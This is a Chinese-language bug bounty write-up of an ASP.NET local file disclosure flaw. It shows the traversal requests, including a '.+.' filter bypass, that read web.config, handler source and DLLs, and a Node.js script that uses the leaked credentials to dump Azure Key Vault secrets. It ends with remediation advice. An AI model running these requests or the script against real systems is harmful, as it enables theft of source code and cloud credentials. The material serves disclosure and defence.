挖洞经验 | 看我如何通过ASP Secrets读取获得了1.7万美金的漏洞奖励
字数 1040 2025-08-18 11:37:53
ASP.NET 本地文件披露漏洞(LFD)分析与利用指南
漏洞概述
ASP.NET 本地文件披露漏洞(Local File Disclosure, LFD)是一种允许攻击者读取服务器上敏感文件的严重安全漏洞。本案例中,研究人员通过精心构造的请求参数,成功读取了服务器上的源代码、配置文件等敏感信息,最终获得了17,000美元的漏洞奖励。
漏洞发现过程
初始发现
-
发现文件下载端点:
https://domain.com/utility/download.aspx?f=DJ/lc1jVgHTZF...- 该端点最初使用加密参数下载文档
- 参数看似不可篡改,但引起了研究人员的注意
-
发现未加密的变体:
https://domain.com/utility/download.aspx?f=file1234.docx- 直接使用明文文件名作为参数
- 响应返回文件内容
漏洞验证
-
尝试读取ASPX文件本身:
GET /utility/download.aspx?f=download.aspx- 成功返回download.aspx的源代码
- 证明存在本地文件读取漏洞
-
发现相关限制:
- 无法直接使用
..进行目录遍历 - 常规的目录遍历尝试被阻止
- 无法直接使用
绕过技术
字符模糊测试
-
测试方法:
GET /utility/download.aspx?f=.[fuzz]./utility/download.aspx- 手动枚举特殊字符
- 发现
+.组合可绕过限制:GET /utility/download.aspx?f=.+./utility/download.aspx
-
成功实现目录遍历:
- 该技术允许读取上级目录的文件
- 在目标环境中有效,但在标准ASP.NET中无效,表明存在特定安全漏洞
文件类型扩展
-
读取ASHX处理器文件:
GET /utility/download.aspx?f=example.ashx- 成功返回WebHandler源代码
- 包含业务逻辑和潜在敏感信息
-
读取DLL程序集:
GET /utility/download.aspx?f=bin/redacted.dll- 可下载应用程序的编译后DLL
- 使用dnSpy等工具可反编译恢复源代码
关键敏感文件读取
web.config文件
-
读取方法:
GET /utility/download.aspx?f=web.config -
典型敏感内容:
<connectionStrings> <add name="PodioAspnetSampleDb" connectionString="server=WSA07;database=PodioAspnetSampleDb;userid=sa;password=pass" providerName="System.Data.SqlClient" /> </connectionStrings> <appSettings> <add key="keyVaultDataPlaneUri" value="redacted" /> <add key="uniqueKeyVaultNameUri" value="redacted" /> <add key="keyVaultClientId" value="redacted" /> <add key="keyVaultClientSecretIdentifier" value="redacted" /> </appSettings>- 数据库连接字符串
- 各种API密钥和凭据
- 应用程序配置参数
Azure Key Vault访问
-
利用获取的凭据访问Key Vault:
- 使用Node.js脚本与Azure Key Vault交互
- 示例脚本:
var KeyVault = require('azure-keyvault'); var AuthenticationContext = require('adal-node').AuthenticationContext; var clientId = "从web.config获取"; var clientSecret = "从web.config获取"; var vaultUri = "从web.config获取"; var authenticator = function(challenge, callback) { var context = new AuthenticationContext(challenge.authorization); return context.acquireTokenWithClientCredentials( challenge.resource, clientId, clientSecret, function(err, tokenResponse) { if (err) throw err; var authorizationValue = tokenResponse.tokenType + ' ' + tokenResponse.accessToken; return callback(null, authorizationValue); }); }; var credentials = new KeyVault.KeyVaultCredentials(authenticator); var client = new KeyVault.KeyVaultClient(credentials); client.getSecrets(vaultUri).then(function(value) { console.log(value); // 输出所有密钥 });
-
获取的敏感信息:
- FTP凭据
- 各种API密钥
- 其他应用程序机密
漏洞修复建议
-
输入验证:
- 严格验证文件路径参数
- 禁止目录遍历字符(如
..,+.等) - 限制文件扩展名白名单
-
访问控制:
- 实现基于角色的访问控制
- 限制可访问的文件目录
-
敏感信息保护:
- 避免在web.config中存储明文凭据
- 使用Azure Managed Identities替代客户端密钥
- 实施适当的密钥轮换策略
-
安全配置:
- 在生产环境中禁用调试模式
- 限制错误信息泄露
总结
本案例展示了ASP.NET应用程序中本地文件披露漏洞的严重性,通过精心构造的请求,攻击者可以逐步深入获取服务器上的敏感信息,最终可能导致整个系统沦陷。开发人员应重视文件操作的安全性,实施严格的输入验证和访问控制,同时避免在配置文件中存储敏感凭据。